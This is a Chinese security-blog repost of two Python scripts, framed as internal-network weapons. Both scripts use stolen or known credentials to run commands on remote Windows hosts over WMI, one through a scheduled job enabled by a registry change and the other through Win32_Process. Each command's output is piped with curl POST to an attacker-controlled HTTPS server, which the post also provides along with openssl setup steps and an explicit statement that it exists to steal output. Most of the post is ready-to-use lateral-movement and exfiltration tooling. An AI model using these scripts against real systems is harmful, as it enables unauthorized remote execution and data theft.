内网兵器 - 通过 WMI 协议执行不同的命令执行方式

admin 2023年11月20日16:35:58评论13 views字数 5559阅读18分31秒阅读模式

内网兵器 - 通过 WMI 协议执行不同的命令执行方式

用于对远程 WMI 实例进行身份验证并通过计划任务执行命令。

-i <ip_address> -u <username> -p <password> -c <command>
import wmiimport datetimeimport argparse
webserver = "https://10.0.0.5:8080" #change to your HTTP server IP and port where you will get the output
class WMIAgent: def __init__(self, c, hostname, username, password, command): self.c = c self.hostname = hostname self.username = username self.password = password self.command = command
def modify_registry(self): # Define the registry key information key_path = 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Configuration' key_name = 'EnableAt' key_type = 'REG_DWORD' key_value = 1
# Check if the registry key exists try: registry = c.StdRegProv result, registries, _ = registry.EnumValues( hDefKey=0x80000002, sSubKeyName=key_path )
if str(key_name) in str(registries): print(f"[+] Registry key '{key_name}' already exists. Executing command...") return except wmi.x_wmi as e: # Registry key doesn't exist, proceed with modification print(f"[-] Registry key '{key_name}' does not exist. Proceeding with modification...")
# Modify the registry key value try: result = registry.SetDWORDValue( hDefKey=0x80000002, sSubKeyName=key_path, sValueName=key_name, uValue=key_value ) print(f"[+] Registry key '{key_name}' created successfully.")
except wmi.x_wmi as e: print(f"[-] Failed to modify registry key: {e}") exit(1)
def execute_command_wmi(self): # Calculate the begin time for the scheduled job (1 minute from now) change_date_time = datetime.datetime.now() + datetime.timedelta(minutes=1) print("[+] Command will be executed on " + str(change_date_time)) begin_time = change_date_time.strftime('%Y%m%d%H%M%S.000000+100')
# Use the Win32_ScheduledJob class to execute the command job_id, result = c.Win32_ScheduledJob.Create(Command=self.command, StartTime=begin_time)
if result == 0: print(f"[+] Command executed successfully. Job ID: {job_id}n") else: print("[-] Failed to execute command.n")
if __name__ == "__main__": parser = argparse.ArgumentParser(description='Custom WMIexec script created by @kleiton0x7e') parser.add_argument('-i', '--ip', action='store', required = True, help='The IP address/ hostname of the server') parser.add_argument('-u', '--username', action='store', required = True, help='The username used for authentication') parser.add_argument('-p', '--password', action='store', required = True, help='The password used for authentication') parser.add_argument('-c', '--command', action='store', required = True, help='The command to be executed') args = parser.parse_args()
#connect to WMI instance try: c = wmi.WMI( computer=args.ip, user=args.username, password=args.password, namespace="root\cimv2" ) print("[+] Connected to " + args.ip + "\root\cimv2n") except wmi.x_wmi as e: print(f"Failed to connect to the remote WMI namespace: {e}") exit(0)
#Initialize the agent agent = WMIAgent(c, args.ip, args.username, args.password, "cmd /Q /c " + args.command + " | curl -X POST -k -H 'Content-Type: text/plain' --data-binary @- " + webserver)
agent.modify_registry() agent.execute_command_wmi()

用于对远程 WMI 实例进行身份验证并通过Win32_Process

-i <ip_address> -u <username> -p <password> -c <command>
#this works
import wmi, argparse
webserver = "https://10.0.0.5:8080" #change to your HTTP server IP and port where you will get the output
def execute_command_wmi(command, username, password, target_computer): # Create a WMI connection with authentication c = wmi.WMI(computer=target_computer, user=username, password=password) print("[+] Connected to the remote WMI instance")
# Use the Win32_Process class to execute the command process_id, result = c.Win32_Process.Create(CommandLine=command)
if result == 0: print(f"[+] Command executed successfully. Process ID: {process_id}") else: print("[-] Failed to execute command.")
if __name__ == "__main__": parser = argparse.ArgumentParser(description='Custom WMIexec script created by @kleiton0x7e') parser.add_argument('-i', '--ip', action='store', required = True, help='The IP address/ hostname of the server') parser.add_argument('-u', '--username', action='store', required = True, help='The username used for authentication') parser.add_argument('-p', '--password', action='store', required = True, help='The password used for authentication') parser.add_argument('-c', '--command', action='store', required = True, help='The command to be executed') args = parser.parse_args()
execute_command_wmi("cmd /Q /c " + str(args.command) + " | curl -X POST -k -H 'Content-Type: text/plain' --data-binary @- " + webserver, str(args.username), str(args.password), str(args.ip))

创建 HTTPS 服务器(带有自签名 SSL 证书)的 python 脚本。用于窃取命令的输出。

在运行 HTTP 服务器之前,请确保通过运行以下命令生成证书:

openssl genpkey -algorithm RSA -out server.keyopenssl req -new -key server.key -out server.csropenssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt


#To generate the required files, execute the following commands#openssl genpkey -algorithm RSA -out server.key#openssl req -new -key server.key -out server.csr#openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt
import sslfrom http.server import HTTPServer, BaseHTTPRequestHandler
class RequestHandler(BaseHTTPRequestHandler): def do_POST(self): content_length = int(self.headers['Content-Length']) post_data = self.rfile.read(content_length)
# Decode the received data received_data = post_data.decode('utf-8')
# Process the received data as needed print(f'[+] Received data:n{received_data}')
# Send a response back to the client self.send_response(200) self.send_header('Content-type', 'text/plain') self.end_headers() response_message = 'Data received successfully' self.wfile.write(response_message.encode('utf-8'))
def run_server(): host = '0.0.0.0' port = 8080 server_address = (host, port)
# Create an SSL context ssl_context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) ssl_context.load_cert_chain(certfile='server.crt', keyfile='server.key')
# Create the HTTPS server with the SSL context httpd = HTTPServer(server_address, RequestHandler) httpd.socket = ssl_context.wrap_socket(httpd.socket, server_side=True)
print(f'Starting HTTPS server on {host}:{port}...') httpd.serve_forever()
if __name__ == '__main__': run_server()


原文始发于微信公众号(TtTeam):内网兵器 - 通过 WMI 协议执行不同的命令执行方式

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月20日16:35:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网兵器 - 通过 WMI 协议执行不同的命令执行方式http://cn-sec.com/archives/2221958.html

发表评论

匿名网友 填写信息